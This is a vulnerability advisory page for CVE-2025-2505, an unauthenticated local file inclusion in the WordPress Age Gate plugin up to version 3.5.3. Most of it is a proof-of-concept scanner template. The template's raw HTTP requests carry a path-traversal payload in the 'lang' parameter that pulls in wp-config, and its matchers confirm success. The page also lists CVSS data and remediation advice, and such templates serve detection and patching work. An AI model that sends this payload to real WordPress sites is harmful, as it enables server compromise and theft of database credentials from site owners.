CVE-2025-2505: WordPress Age Gate <= 3.5.3 - Unauthenticated Local File Inclusion

2026-08-03 WordPress Age Gate PoC Public

Description

The Age Gate plugin for WordPress up to version 3.5.3 contains a local PHP file inclusion caused by the 'lang' parameter, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.

PoC

id: CVE-2025-2505

info:
  name: WordPress Age Gate <= 3.5.3 - Unauthenticated Local File Inclusion
  author: pussycat0x
  severity: critical
  description: |
    The Age Gate plugin for WordPress up to version 3.5.3 contains a local PHP file inclusion caused by the 'lang' parameter, letting unauthenticated attackers include and execute arbitrary PHP files, exploit requires no authentication.
  impact:
    Attackers can execute arbitrary PHP code on the server, potentially leading to full server compromise.
  remediation:
    Update to the latest version of the plugin, version 3.5.4 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/age-gate/age-gate-353-unauthenticated-local-php-file-inclusion-via-lang
    - https://plugins.trac.wordpress.org/changeset/3271222/age-gate
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-2505
    cwe-id: CWE-98
    epss-score: 0.04802
    epss-percentile: 0.91491
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2025,wordpress,wp-plugin,age-gate,lfi,wp,vkev

http:
  - raw:
      - |
        GET /?rest_route=/age-gate/v3/check HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?rest_route=/age-gate/v3/check&age_gate[lang]=../../../../../../../../wp-config HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(body_1, 'age_gate')"
          - "contains(body_2, 'DB_NAME already defined')"
        condition: and
# digest: 4a0a004730450220540d6a2f45edfd6d1180978ac05bf38ce878fd7b11d7fa716c086996ffb7bdd5022100ae199244b6722282a3c367c89f010aa0d86137f6b92c6ba34ae4a74d396ff789:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities